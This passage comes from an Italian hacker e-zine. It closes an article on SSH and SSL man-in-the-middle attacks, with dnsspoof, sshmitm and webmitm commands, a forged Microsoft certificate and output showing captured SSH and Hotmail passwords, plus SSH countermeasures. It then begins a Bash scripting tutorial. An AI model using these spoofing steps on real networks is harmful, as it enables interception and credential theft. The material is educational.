| dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.6] |
| |
| ...in un'altra shell mettiamo in ascolto Sshmitm in attesa di una |
| connessione da parte del client rediretto dalla reply DNS spoofata: |
| |
| attacker@attack:~# sshmitm 192.168.1.5 |
| sshmitm: relaying to 192.168.1.5 |
| |
| In questo modo quando il client ssh cercherà di connettersi a |
| server.trust.com (192.168.1.5) invierà una query al server DNS, a questo |
| punto Dnsspoof anticiperà la risposta da parte del nameserver con una |
| forgiata appositamente da noi che restituirà un IP a nostra discrezione |
| (in questo caso il nostro). |
| Questo farà si che il client si connetta all'IP della nostra macchina |
| (192.168.1.6) che è pronta per accettare tale connessione e forwardarla |
| al server legittimo attraverso Sshmitm: |
| |
| root@victim:~# ssh server.trust.com |
| @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ |
| @ WARNING: HOST IDENTIFICATION HAS CHANGED! @ |
| @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ |
| IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY! |
| Someone could be eavesdropping on you right now (man-in-the-middle [...] |
| It is also possible that the host key has just been changed. |
| Please contact your system administrator. |
| Add correct host key in /root/.ssh/known_hosts to get rid of this [...] |
| Agent forwarding is disabled to avoid attacks by corrupted servers. |
| X11 forwarding is disabled to avoid attacks by corrupted servers. |
| Are you sure you want to continue connecting (yes/no)? yes |
| root@server.trust.com's password: |
| |
| attacker@attack:~# sshmitm 192.168.1.5 |
| sshmitm: relaying to 192.168.1.5 |
| ----------------- |
| 05/22/02 20:52:51 tcp 192.168.1.4.1021 -> 192.168.1.5.22 (ssh) |
| root |
| secret |
| |
| Il nome utente e la password verranno visualizzate in testo in chiaro |
| come output del programma. Ancora una volta condizione essenziale per la |
| riuscita di questa tecnica è rappresentata dal fattore umano ovvero un |
| errore o una superficialità da parte dell'utente nel valutare un |
| messaggio di avvertimento. |
| |
| 3.3 Contromisure |
| Tale attacco è tanto semplice da mettere in atto quanto da prevenire, |
| infatti per non rimanere vittima di un attacco man in the middle basterà |
| inserire le seguenti direttive nel file di configurazione del client ssh |
| che si trova di default in /etc/ssh_config oppure in ~/.ssh/config: |
| |
| Protocol 2 |
| StrictHostKeyChecking yes |
| |
| In questo modo il client ssh chiuderà la comunicazione con il server in |
| presenza di incoerenze tra la chiave pubblica memorizzata in locale e |
| quella inviata dal server, inoltre nel caso in cui venga negoziata una |
| versione inaspettata del protocollo verrà impedita la connessione. |
| |
| 4. SSL Protocol |
| La crittografia in chiave asimmetrica viene utilizzata per verificare |
| l'identità del nostro interlocutore partendo dai seguenti presupposti: |
| |
| - la chiave privata deve rimanere segreta, nessuno al di fuori del |
| legittimo proprietario deve possedere tale chiave; |
| - i dati crittografati con la chiave pubblica possono essere decriptati |
| solamente con la chiave privata corrispondente e viceversa. |
| |
| Immaginiamo un possibile scenario in cui i due host A e B desiderino |
| comunicare tramite una sessione sicura SSL, l'autenticazione server |
| avverrà circa in questo modo: |
| |
| A->B hello |
| B->A Hi, I'm Bob, bobs-certificate |
| A->B prove it |
| B->A Alice, This Is bob |
| { digest[Alice, This Is Bob] } bobs-private-key |
| |
| (schema tratto da "How SSL Works", developer.netscape.com) |
| |
| Nel primo passo l'host A manifesta a B l'intenzione di stabilire una |
| comunicazione, successivamente riceve una risposta da B contenente il |
| certificato di tale host comprensivo della chiave pubblica. |
| L'host A controlla la validità del certificato del suo interlocutore |
| attenendosi ai seguenti punti: |
| |
| - il certificato deve essere rilasciato da una CA (Certification |
| Authority) sicura (esempio Verisign o Thawte); |
| - il certificato deve essere ancora valido rispetto alla data di |
| scadenza indicata; |
| - il nome riportato nel certificato deve corrispondere all'hostname del |
| sito a cui si sta accedendo. |
| |
| Se uno dei tre punti indicati non dovesse essere rispettato il browser |
| provvederà a fornire un messaggio di avviso all'utente dove vengono |
| elencate le anomalie riscontrate e viene richiesto se si desidera |
| procedere con la connessione. |
| Nella quarta fase B genera un messaggio e lo inoltra ad A prima in forma |
| non crittografata e successivamente la forma crittografata del digest |
| computato a partire dal messaggio originale. |
| Il digest fornisce un'ulteriore protezione per B ed impedisce ad esso di |
| crittografare dati arbitrari con la propria chiave privata e di |
| inoltrarli a qualcuno. Tali dati infatti apparirebbero a tutti gli |
| effetti provenienti da B e potrebbero essere usati contro di lui o per |
| sostituirsi alla sua identità. |
| Infine A decripta il digest con la chiave pubblica di B, ricevuta nella |
| seconda fase dell'handshake, e nel caso in cui tale valore risulti |
| uguale al valore non criptato A saprà che sta parlando con B in quanto |
| un impostore non possedendo la chiave privata di B non sarebbe in grado |
| di crittografare correttamente tale messaggio. |
| Una volta terminata la fase di autenticazione la sessione potrà aver |
| luogo e procederà con le seguenti modalità: |
| |
| A->B ok bob, here is a secret {secret} bobs-public-key |
| B->A {some message}secret-key |
| |
| (schema tratto da "How SSL Works", developer.netscape.com) |
| |
| L'host A invierà a B la chiave di sessione crittografata con la chiave |
| pubblica di B in modo tale che possa essere decriptata solo da B. Tale |
| chiave di sessione sarà utilizzata per crittografare il resto della |
| comunicazione per mezzo di un algoritmo a chiave simmetrica. |
| |
| 5. SSL Attack |
| Il primo requisito necessario per portare a termine con successo un |
| attacco contro un tunnel SSL è quello di trovarsi "nel mezzo" della |
| sessione, questa condizione viene spesso definita come man-in-the-middle |
| e può essere ottenuta con l'ausilio della tecniche di ARP poisoning o |
| DNS spoofing descritte in precedenza in questo articolo. |
| |
| Le due tecniche producono un risultato simile ma sono caratterizzate da |
| profonde differenze e non sempre possono essere utilizzate |
| indistintamente, vediamo una breve panoramica: |
| |
| - l'ARP poisoning opera a layer due, modificando la cache ARP dell'host |
| vittima e influenzandone di conseguenza l'instradamento dei pacchetti, |
| tutto il traffico passa per l'host dell'attacker che è in grado di |
| modificarlo e forwardarlo a proprio piacere. |
| NON modifica il target con cui la vittima stabilisce la connessione ma |
| solo il tragitto percorso dai pacchetti! |
| |
| - DNS spoofing si basa sulla falsificazione delle risposte del DNS e |
| modifica la sessione in maniera più sostanziale rispetto all'ARP |
| poisoning, la vittima stabilisce una connessione con un host |
| differente da quello atteso, molto spesso si tratta di una porta |
| bindata dall'host di chi attacca. Si verifica di frequente che il |
| programma maligno che binda la porta provveda lui stesso a redirigere |
| il traffico verso l'host legittimo. Il tutto si svolge a livello più |
| alto, precisamente a livello applicazione. |
| |
| Il secondo requisito è quello di poter sostituire al volo il certificato |
| emesso dal server (e di conseguenza la sua chiave pubblica) con un |
| certificato fasullo emesso da noi stessi. |
| In questo modo il flusso SSL tra la macchina della vittima e la macchina |
| di chi attacca sarà crittografato con il certificato emesso da noi di |
| cui possediamo la chiave privata. |
| Siamo così in grado di leggerne il contenuto tra cui il valore |
| corrispondente alla chiave di sessione che verrà utilizzata dai due capi |
| della comunicazione per crittografare in chiave simmetrica l'intera |
| sessione. |
| Vediamo ora un semplice schema che riassume quanto detto finora, l'host |
| dell'attacker è indicato con la lettera M: |
| |
| A->M hello |
| M->B hello |
| B->M Hi, I'm Bob, bobs-certificate |
| M->A Hi, I'm Bob, mallets-certificate |
| A->M prove it |
| M->B prove it |
| B->M Alice, This Is bob |
| { digest[Alice, This Is Bob] } bobs-private-key |
| M->A Alice, This Is bob |
| { digest[Alice, This Is Bob] } mallets-private-key |
| A->M ok bob, here is a secret {secret} mallets-public-key |
| M->B ok bob, here is a secret {secret} bobs-public-key |
| B->M {some message}secret-key |
| M->A {some message}secret-key |
| |
| Poichè l'attacco basa la propria forza sulla sostituzione del |
| certificato del server dovremo agire in modo da soddisfare quanto |
| possibile i check di validità del certificato effettuati dal lato |
| client, precisamente: |
| |
| - il certificato deve essere ancora valido rispetto alla data di |
| scadenza indicata -> non è un problema in quanto siamo in grado di |
| forgiare un certificato con le caratteristiche desiderate con Openssl; |
| - il nome riportato nel certificato deve corrispondere all'hostname del |
| sito a cui si sta accedendo -> possiamo ottenerlo utilizzando Dnsspoof |
| per falsificare qualsiasi check atto a verificare il nome host del |
| sito; |
| - il certificato deve essere rilasciato da una CA (Certification |
| Authority) sicura (esempio Verisign o Thawte) -> PROBLEMA, dovremo |
| accontentarci di un certificato self-signed, questo potrà insospettire |
| qualcuno ma i più non daranno alcun peso ai messaggi di warning. |
| |
| 5.1 Webmitm |
| Passiamo ora alla parte pratica, dove utilizzeremo Dnsspoof per |
| realizzare il man-in-the-middle che ci permetterà di sostituire il |
| certificato SSL durante la transizione. |
| |
| Dobbiamo prima di tutto editare un file hosts da cui il tool Dnsspoof |
| attingerà per forgiare le proprie risposte, nell'esempio cercherò di |
| spoofare la risposta DNS relativa all'hostname del servizio di login di |
| Hotmail, il file hosts dovrà contenere quanto segue: |
| |
| root@pippo:~# cat ~/hosts.txt |
| 192.168.1.4 loginnet.passport.com |
| |
| avviamo Dnsspoof... |
| |
| root@pippo:~# dnsspoof -f ~/hosts.txt |
| dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.4] |
| 192.168.1.35.1537 > 192.168.1.1.53: 4+ A? loginnet.passport.com |
| |
| Ora che abbiamo ottenuto un man-in-the-middle per tutte le sessioni |
| dirette verso tale server non ci resta che creare un certificato fasullo |
| di cui possediamo la chiave privata e che andremo a sostituire durante |
| l'handshaking tra l'host della vittima e il servizio di login Hotmail. |
| Alla prima esecuzione Webmitm ci da la possibilità di creare tale |
| certificato richiamando Openssl: |
| |
| root@pippo:~# webmitm |
| warning, not much extra random data, consider using the -rand option |
| Generating RSA private key, 1024 bit long modulus |
| ........................................++++++ |
| ......................++++++ |
| e is 65537 (0x10001) |
| Using configuration from /etc/ssl/openssl.cnf |
| You are about to be asked to enter information that will be incorporated |
| into your certificate request. |
| What you are about to enter is what is called a Distinguished Name or DN |
| There are quite a few fields but you can leave some blank |
| For some fields there will be a default value, |
| If you enter '.', the field will be left blank. |
| ----- |
| Country Name (2 letter code) [AU]:US |
| State or Province Name (full name) [Some-State]:Washington |
| Locality Name (eg, city) []:Redmond |
| Organization Name (eg, company) [Internet Widgits Pty Ltd]:Microsoft |
| Organizational Unit Name (eg, section) []:Passport |
| Common Name (eg, YOUR name) []:loginnet.passport.com |
| Email Address []: |
| |
| Please enter the following 'extra' attributes |
| to be sent with your certificate request |
| A challenge password []: |
| An optional company name []: |
| Signature ok |
| subject=/C=US/ST=Washington/L=Redmond/O=Microsoft/OU=Passport
|
| /CN=loginnet.passport.com |
| Getting Private key |
| webmitm: certificate generated |
| |
| A questo punto abbiamo il nostro certificato e siamo in grado di proxare |
| la sessione "sicura" tra i due host, non ci resta che avviare webmitm |
| con l'opzione -d per ottenere un output un po' più verboso: |
| |
| root@pippo:~# webmitm -d |
| webmitm: relaying transparently |
| webmitm: new connection from 192.168.1.35.1605 |
| webmitm: no virtual host in request |
| webmitm: child 1503 terminated with status 256 |
| webmitm: new connection from 192.168.1.35.1606 |
| POST /ppsecure/post.srf HTTP/1.1 |
| Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application |
| /vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */* |
| Referer: http://lc1.law5.hotmail.passport.com/cgi-bin/login?_lang= |
| IT&country=IT |
| Accept-Language: it |
| Content-Type: application/x-www-form-urlencoded |
| Accept-Encoding: gzip, deflate |
| User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98) |
| Host: loginnet.passport.com |
| Content-Length: 308 |
| Connection: Keep-Alive |
| Cache-Control: no-cache |
| Cookie: MSPDom=2; MSPPre=e4zy@hotmail.com; BrowserTest=Success%3f |
| Referer: http://lc1.law5.hotmail.passport.com/cgi-bin/login?_lang= |
| IT&country=IT |
| Accept-Language: it |
| Content-Type: application/x-www-form-urlencoded |
| Accept-Encoding: gzip, deflate |
| |
| login=e4zy&domain=hotmail.com&svc=mail&RemoteDAPost=https%3A%2F%2F |
| login.msnia.passport.com%2FIT%2Fppsecure%2Fpost.asp&passwd=password |
| &enter=Accedi&sec=no&curmbox=ACTIVE&js=yes&_lang=IT&beta=&ishotmail= |
| 1&mspp_shared=&id=2&fs=1&cb=_lang%253dIT&ct=1025169432&ru=http%3A%2F%2F |
| www.hotmail.msn.com%2Fcgi-bin%2Fsbox |
| webmitm: child 1504 terminated with status 0 |
| |
| Quando la vittima si connetterà al servizio di login di Hotmail per |
| l'autenticazione gli apparirà un popup (vedi allegato ssl.jpg) che |
| avvisa che il certificato è firmato da una CA che si è deciso di non |
| trustare e verrà richiesto se si desidera continuare. |
| In caso affermativo l'output di Webmitm apparirà circa come quello |
| riportato qualche riga più sopra, l'intera sessione risulterà essere in |
| chiaro e potremo operare lo sniffing dei dati in transito tra i due host |
| compresi i dati relativi al login: |
| |
| login=e4zy |
| passwd=password |
| |
| 6. Risorse |
| SSH Transport Layer Protocol, draft-ietf-tls-ssh-00.txt |
| How SSL Works, developer.netscape.com |
| The SSL Protocol Version 3.0, Internet Draft |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ LiNUX #07 - 01/08/2002 |
| SHELL SCRiPTiNG: BASH [Domine] 0x09/0x19 |
+--------------------------------------------------------------------------+
| Shell scripting: Bash - 27/08/2001 - by Domine |
| |
| Mail: domine@paranoici.org |
| WWW: http://www.autistici.org/domine/index.php |
| IRC: Domine @ IRCNet, AzzurraNet |
| |
| |
| |
| Perchè scripting in Bash? Semplicemente, può sempre tornare utile |
| nella gestione dei sistemi Unix (ad esempio, per la manutenzione |
| tramite crond e soci :-). Ovviamente non parlerò di tutti i cazzi |
| come i settaggi delle impostazioni di Bash ecc.. bensì di ciò che |
| sarà più utile per la stesura di script utili. |
| |
| ToC: |
| |
| 1) INTRO |
| 2) VARIABILI E PARAMETRI |
| 3) QUOTING |
| 4) LISTE DI COMANDI |
| 5) STRUTTURE CONDIZIONALI E CICLI |
| 6) ESPRESSIONI CONDIZIONALI |
| 7) FUNZIONI |
| 8) ARRAY |
| 9) ESPANSIONE |
| 10) COMANDI INTERNI (BUILTINS) |
| 11) REDIREZIONI |
| |
| |
| INTRO |
| |
| Innanzitutto, ogni script è aperto dalla stringa |
| |
| #!/bin/bash |
| |
| in cui si indica di avviare la shell come interprete. I comandi |
| all'interno del file verranno eseguiti sequenzialmente, come se noi |
| stessi dal normale prompt li eseguissimo uno alla volta. Valgono |
| quindi tutti quei comandi che avete sempre usato per gestire il |
| vostro sistema (copia, cancella ecc ecc) oltre ad una serie di |
| comandi che la shell fornisce autonomamente. |
| |
| |
| VARIABILI E PARAMETRI |
| |
| In Bash la dichiarazione delle variabili avviene tramite |
| |
| nome_della_variabile="valore" |
| |
| Non è necessario dichiarare il tipo di valore, poichè la shell stessa |
| provvederà a comportarsi a seconda del tipo di variabile. Nel caso |
| si faccia riferimento ad una variabile non dichiarata oppure a una |
| variabile vuota, questa sarà automaticamente riempita con una |
| stringa vuota. Ogni volta che si vorrà fare riferimento a una |
| variabile, basterà anteporre al suo nome il simbolo $ |
| |
| prova="blahblah" # Il cancelletto crea una riga di commento |
| echo $prova # Echo mostra sullo schermo "blahblah" |
| |
| In questo casò, la shell sostituisce a $prova un'altra stringa |
| tramite il processo detto "espansione", cosa che accade ogni volta |
| che con una qualsiasi dicitura si fa riferimento a una o più parole |
| |
| ls -l * |
| |
| L'asterisco in questo caso fa riferimento a tutte le directory e ai |
| file non nascosti nella dir corrente. (vedi ESPANSIONE) |
| |
| Sia le variabili sia i parametri sono case sensitive. |
| |
| Per parametri si intendono delle variabili che hanno un valore |
| particolare nell'ambito della shell, e si distinguono in: |
| |
| - PARAMETRI POSIZIONALI |
| |
| Ossia gli argomenti passati allo script. Con $0 si indica il nome |
| dello script, mentre con $1, $2, $3 si indicano rispettivamente il |
| primo, il secondo e il terzo argomento della riga di comando, e così |
| via. Quando un parametro posizionale composto da 2 o più cifre deve |
| essere espanso, deve essere contenuto fra parentesi graffe (es. |
| ${13} ). |
| |
| - PARAMETRI SPECIALI |
| |
| Si tratta di variabili a cui si può far solo riferimento, e non vi |
| si può assegnare alcun valore. Esse sono: |
| |
| * Espande all'insieme di tutti i parametri posizionali, uniti |
| tra di loro in un unica stringa. Essi sono separati dal |
| primo carattere della variabile speciale IFS (ossia uno |
| spazio). |
| |
| @ Espande all'insieme di tutti i parametri posizionali. Se |
| però $@ è racchiusa tra apici doppi ("), essa si riferirà |
| non ad un unica stringa come il parametro precedente, bensì |
| a più parole. "@$" sarà quindi equivalente a "$1" "$2" |
| ecc... (utile magari per un ciclo condizionale, quindi). |
| |
| # E' equivalente al numero dei parametri posizionali |
| |
| ? E' uguale allo stato restituito dall'ultima pipeline in |
| foreground |
| (es. se l'ultimo comando sarà stato eseguito con successo |
| restituirà 0, ossia VERO in un contesto booleano.) |
| |
| - Restituisce i valori (flags) attivate dal comando SET |
| |
| $ Restituisce il PID della shell |
| |
| ! E' uguale al PID dell'ultimo comando eseguito in background |
| |
| 0 Contiene il nome dello script in esecuzione. |
| |
| _ Contiene l'ultimo argomento del precedente comando. |
| |
| |
| - VARIABILI DELLA SHELL |
| |
| PPID Il PID del processo padre della shell |
| PWD La dir corrente |
| OLDPWD La dir precedente |
| UID L'UID dell'utente all'avvio della shell |
| EUID L'UID effettivo dell'utente all'avvio di BASH |
| BASH Il percorso della shell |
| BASH_VERSINFO La versione di BASH |
| RANDOM Un numero intero tra 0 e 32767 |
| SECONDS Num di secondi dall'apertura della shell |
| LINENO Il numero di linea in uno script o funzione |
| PIPESTATUS Lo stato dell'ultima pipeline |
| IFS Variabile usata nella suddivisione in parole |
| dopo una espansione (equivalente a |
| <spazio><tab><newline>) |
| PATH I percorsi in cui la shell cerca i binari dei vari |
| comandi |
| HOME La directory dell'utente |
| MAILPATH La directory della posta elettronica |
| IGNOREEOF Il numero di EOF consecutivi che fanno terminare Bash |
| |
| Queste variabili ed altre ancora sull'escusivo canale MAN |
| Educational Channel (ah, è free? Buono! man bash :-] ) |
| |
| |
| QUOTING |
| |
| Il quoting è il metodo utilizzato per togliere ad un determinato |
| carattere il significato speciale che esso ha per la shell. Ad |
| esempio metacaratteri quali |
| |
| | || & && ; ;; ( ) < > <newline> |
| |
| devono essere protetti per non creare equivoci. I meccanismi di |
| quoting sono 3: escaping, apici singoli e apici doppi. |
| |
| L'escaping avviene facendo precedere il carattere da uno \. Nel caso |
| questo si trovi alla fine della linea, esso annullerà il ritorno a |
| capo, permettendo di scrivere il comando su più righe. |
| |
| Es. mkdir \$prova # Crea la directory "$prova". Ogni volta che |
| # vorrò riferirmi ad essa, dovrò usare lo \ |
| |
| echo "Questa è una riga \ |
| e questa ne è un'altra" |
| |
| Stamperà "Questa è una riga e questa ne è un'altra". Lo \ mi ha |
| permesso di distribuire il comando su 2 righe. |
| |
| Utilizzando gli apici singoli ('), tutto ciò fra essi compresi |
| mantiene il proprio significato letterale (non viene quindi |
| "interpolato"). Altri apici singoli non possono essere annidati, |
| neanche se preceduti dallo \ |
| |
| Es. echo 'Come vedi da $0, questa stringa non è stata modificata' |
| |
| Utilizzando gli apici doppi ("), tutto rimane inalterato fuorchè i |
| simboli $ e ` (apice inverso), che conservano le loro |
| caratteristiche. Anche lo \, se precede $, ` oppure " riacquista il |
| suo significato di escaper. |
| |
| Es. echo "La variabile \"\$HOME\" contiene $HOME" |
| # stampa: La variabile "$HOME" contiene /home/domine |
| |
| |
| LISTE DI COMANDI |
| |
| Ogni comando, sia che si tratti di un programma esterno, o di una |
| funzione o ancora di un comando interno alla shell, esegue una serie |
| di operazioni, dopo di che restituisce un valore numerico. Nel caso |
| in cui ci si riferisca ad un contesto booleano (vero/falso), lo zero |
| equivarrà a vero, mentre qualunque altro valore numerico a falso. Il |
| numero restituito da un comando è detto "stato di uscita" e, nel |
| caso ad esempio di una funzione o di un ciclo, è determinato |
| dall'ultima istruzione eseguita. |
| |
| E' possibile utilizzare più comandi insieme tramite la stessa riga, |
| utilizzando degli operatori condizionali che verificheranno il |
| valore di uscita dell'istruzione che li precede. Ad esempio |
| |
| make mrproper ; make xconfig ; make dep |
| |
| ogni comando attende l'esecuzione del precedente per essere |
| eseguito. Oppure la classica pipeline che passa il proprio outpu al |
| comando successivo |
| |
| cat /etc/passwd | less |
| |
| Si possono utilizzare && oppure || che equivalgono a AND ed OR; il |
| primo attende un valore di uscita positivo (vero), l'altro il |
| contrario (falso). E' possibile annidare gruppi di comandi con le () |
| o le {}. |
| |
| (rmdir tmp || rm -rf tmp) && echo "Directory rimossa" |
| |
| (le parentesi tonde possono anche modificare la priorità delle |
| operazioni) |
| |
| { |
| mkdir tmp # Le parentesi graffe permettono |
| cp ~/* tmp # di disporre comandi su più linee |
| cd tmp |
| } |
| |
| |
| STRUTTURE CONDIZIONALI E CICLI |
| |
| E' possibile utilizzare le strutture di controllo classiche dei |
| linguaggi di programmazione: |
| |
| - FOR |
| |
| for VAR [ in PAROLA ] |
| do |
| comando_1 |
| comando_2 |
| ... |
| comando_n |
| done |
| |
| Non è necessario separare le istruzioni con un ; in quanto è |
| sufficiente il ritorno a capo. Nel caso di questo ciclo, gli |
| elementi indicati dalla PAROLA che segue "in" (se "in" viene omesso |
| la shell utilizza i parametri posizionali) vengono posti uno per |
| volta uguali a VAR, e per ognuno di essi verrà eseguito la serie di |
| comandi indicata. Esempio: |
| |
| for VAR # qui è come se sottintendesse "in $@" |
| do |
| echo $VAR |
| done |
| |
| Questa struttura elenca tutti gli argomenti passati allo script. |
| |
| LISTA=$`ls ~` |
| for i in $LISTA |
| do # ++n aggiunge 1 alla variabile n prima |
| echo "$((++n)) $i" # che l'istruzione sia eseguita (poichè non |
| done # dichiarata, n è uguale a 0) |
| |
| Genera una lista numerata degli elementi nella dir HOME. |
| |
| E' anche possibile utilizzare il costrutto classico |
| |
| for (( inizializzazione ; condizione ; incremento )) |
| do |
| ... serie di comandi ... |
| done |
| |
| Le tre espressioni all'interno delle (()) vengono verificate per |
| ogni serie di comandi eseguita. Finchè la "condizione" non equivale |
| a zero, for esegue "l'incremento" e la lista di comandi dopo il "do". |
| |
| for (( i=0 ; i-11 ; i++ )) |
| do |
| echo $i # Chissà che compirà mai? :-) |
| done |
| |
| E' possibile interrompere un ciclo con una istruzione BREAK o RETURN |
| (seguita da un numero). |
| |
| - SELECT |
| |
| select VAR [ in LISTA_VALORI ] |
| do |
| comando_1 |
| comando_ecc_ecc |
| done |
| |
| Con select è possibile mostrare sullo schermo una lista di opzioni e |
| un prompt pronto a raccogliere la scelta dell'utente. Ancora una |
| volta, un "in" omesso equivale a $@. |
| |
| La stringa inserita viene copiata nella variabile $REPLY, mentre il |
| valore ad essa associata viene assegnato a VAR, dopodichè vengono |
| eseguite le istruzioni elencate e si ritorna all'inizio del ciclo |
| (finchè l'utente non preme control+c o control+d, oppure finchè |
| un'istruzione BREAK o RETURN viene eseguita). |
| |
| select i in $@ # Verrà creata una lista con gli argomenti |
| passati |
| do |
| echo "$REPLY è uguale a $i!" |
| done |
| |
| - CASE |
| |
| case parola in |
| [ [(] pattern [ | pattern ] ... ) comandi ;; ] |
| esac |
| |
| Case permette l'esecuzione di determinati comandi a seconda del |
| valore di una determinata variabile (dove c'è "parola"). La shell |
| confronta una ad una le possibilità, e appena trova un riscontro |
| (pattern) con le possibilità nello script esegue dei comandi, |
| interrompendo la ricerca di altri riscontri. |
| |
| case $1 in |
| a | b | c | abc) echo "ABC";; |
| d) echo "D";; |
| e | f | ef) echo "EF";; |
| *) echo "ma ch'rrè?";; |
| esac |
| |
| Con il simbolo | si possono indicare possibilità diverse per |
| un'unica opzione. In questo caso se il primo argomento passato allo |
| script contiene a,b,c o abc stamperà ABC, altrimenti confronterà |
| l'argomento con il pattern successivo e così via. Nel caso nessuno |
| dei pattern contenga $1, viene attivato un pattern predefinito (* |
| combacia con qualunque stringa). Nel caso non avvengano riscontri, |
| la funzione restituisce 0. |
| |
| - IF |
| |
| if espressione |
| then comandi |
| [ elif espressione; then comandi; ] |
| ... |
| [ else comandi; ] |
| fi |
| |
| If permette di eseguire dei comandi a seconda che una determinata |
| condizione sia verificata o meno. Se i comandi dopo if restituiscono |
| vero, allora vengono eseguiti i comandi seguenti then. Altrimenti, |
| viene eseguito elif che verificherà altre condizioni e, come if, se |
| le riscontra esegue i comandi dopo then, altrimenti passerà ad un |
| altro, eventuale, elif. Infine, se nessuna delle condizioni è vera, |
| esegue i comandi dopo else. Se nessuna condizione restituisce vero |
| if restituirà 0. |
| |
| if [ $UID > 0 ] # le [] sono abbreviazione del comando TEST |
| then |
| echo "Non hai i privilegi di root! :-P" |
| else |
| echo "Hai i privilegi di root! :-)" |
| fi |
| |
| Per il confronto valgono gli operatori aritmetici e logici come |
| <,>,==,! (negazione logica, inverte il significato |
| dell'espressione),&&,|| e così via. |
| |
| - WHILE e UNTIL |
| |
| while espressione; do comandi; done |
| until espressione; do comandi; done |
| |
| While esegue una serie di comandi finchè l'espressione indicata |
| all'inizio restituisce vero; per until vale altrettanto, finchè |
| l'espressione restituisce falso. |
| |
| x=0; |
| while [ $x -lt 10 ] # $x > 10 (Vedi espressioni condizionali) |
| do |
| echo $((x++)) # Equivale a: echo $x ; $((x=x+1)) |
| done |
| |
| |
| ESPRESSIONI CONDIZIONALI |
| |
| I seguenti operatori unari e binari sono utilizzati dalla funzione |
| test (e dalla sua versione abbreviata []) per verificare gli |
| attributi dei file e per confrontare stringhe ed espressioni |
| numeriche. |
| |
| -a file Vero se file esiste. |
| -b file Vero se file esiste ed è un dispositivo a blocchi. |
| -c file Vero se file esiste ed è un dispositivo a caratteri. |
| -d file Vero se file esiste ed è una directory |
| -e file Vero se file esiste. |
| -f file Vero se file esiste ed è un file regolare. |
| -g file Vero se file esiste ed il bit SGID è attivo. |
| -h file Vero se file esiste ed è un link simbolico. |
| -k file Vero se file esiste è il suo bit "sticky" è attivo |
| -p file Vero se file esiste ed è una pipe con nome (FIFO). |
| -r file Vero se file esiste ed è leggibile. |
| -s file Vero se file esiste ed ha dimensioni maggiori di |
| zero. |
| -t fd Vero se /dev/stdout (standard output) è indirizzato |
| al terminale |
| -u file Vero se file esiste ed il bit SUID è attivo. |
| -w file Vero se file esiste ed ha i permessi per la |
| scrittura. |
| -x file Vero se file esiste ed è eseguibile. |
| -O file Vero se file esiste ed appartiene all'user id |
| effettivo dell'utente |
| -G file Vero se file esiste ed appartiene al group id |
| effettivo dell'utente |
| -L file Vero se file esiste ed è un link simbolico. |
| -S file Vero se file esiste ed è un socket. |
| -N file Vero se file esiste ed è stato modificato |
| dall'ultima lettura |
| |
| file1 -nt file2 Vero se file1 è più recente del file2. |
| file1 -ot file2 Vero se file1 è più vecchio del file2. |
| file1 -ef file2 Vero se file1 e file2 hanno lo stesso inode |
| e device. |
| -o optname Vero se l'opzione di shell optname è attiva |
| (vedi SET) |
| -z stringa Vero se la lunghezza della stringa è zero. |
| -n stringa Vero se la lunghezza della stringa non è |
| zero. |
| stringa Vedi caso precedente |
| stringa1 == stringa2 Vero se le stringhe sono uguali (può essere |
| usato anche = ) |
| stringa1 != string2 Vero se le stringhe non sono uguali. |
| stringa1 < stringa2 Vero se stringa1 viene lessicographicamente |
| prima di stringa2 |
| stringa1 > stringa2 Vero se stringa1 viene lessicographicamente |
| dopo di stringa2 |
| |
| - OPERATORI BINARI ARITMETICI |
| |
| Arg1 e arg2 possono essere interi positivi o negativi. |
| |
| arg1 -eq arg2 Vero se arg1 è uguale ad arg2. |
| arg1 -ne arg2 Vero se arg1 non è uguale ad arg2. |
| arg1 -lt arg2 Vero se arg1 minore di arg2. |
| arg1 -le arg2 Vero se arg1 minore o uguale ad arg2. |
| arg1 -gt arg2 Vero se arg1 maggiore di arg2. |
| arg1 -ge arg2 Vero se arg1 maggiore o uguale ad arg2. |
| |
| |
| FUNZIONI |
| |
| Definendo delle funzioni è possibile richiamare un gruppo di |
| istruzioni come se si facesse riferimento a un normale comando della |
| shell. La sintessi è |
| |
| [ function ] nome () { comandi; } |
| |
| Quando viene eseguita una funzione, i parametri posizionali dello |
| script vengono momentaneamente sostituiti con gli argomenti passati |
| alla funzione ($0 continua però a riferirsi al nome dello script). |
| Al termine della funzione le variabili vengono ripristinate. Si |
| possono inoltre definire delle variabili interne alla funzione con |
| il comando local seguito dalla normale dicitura per la dichiarazione |
| delle variabili. Le funzioni (così come le variabili) possono essere |
| messe a disposizione di altri script della shell col comando export. |
| Coi comandi BREAK e RETURN si interrompe l'esecuzione della funzione. |
| |
| function stampa() { |
| echo "Tieccati il valore $1" # questa funzione stampa $1 ma si |
| # tratta del "prova" passatogli |
| return 0 # questo è superfluo poichè echo restituirà 0 se |
| # riuscirà a stampare |
| } |
| echo $1 # se lanceremo lo script senza argomenti non stampa |
| # nulla |
| |
| if stampa prova # la funzione, come qualsiasi altra, restituisce un |
| # valore da testare |
| then |
| echo "stampa riuscita" # poichè stampa ritorna zero, l'if esegue |
| # questo echo |
| else |
| echo "boh? :-P" |
| fi |
| |
| |
| ARRAY |
| |
| Bash fornisce la possibilità di usare array mono-dimensionali. Come |
| voi ben sapete (!) l'array è una variabile contenente più valori |
| ordinati numericamente (gli indici delle variabili non potranno |
| quindi essere composti da lettere). |
| Per creare un array basta assegnare un valore a uno qualsiasi dei |
| suoi indici, oppure usare il comando declare. |
| |
| arrei[0]="Sono l'elemento numero uno! ;-)" |
| |
| Gli indici degli array cominciano dallo zero. Si possono anche |
| aggiungere più elementi contemporaneamente a un array |
| |
| arrei=(valore_1 valore_2 ... valore_n) |
| |
| ogni valore deve essere specificato con la sintassi |
| |
| [indice]=valore |
| |
| altrimenti, se "[indice]=" viene omesso, la shell assegnerà il primo |
| indice libero al valore. |
| |
| Per richiamare un valore di un array, si utilizza la forma |
| |
| ${nome[indice]} # Le {} sono necessarie per evitare |
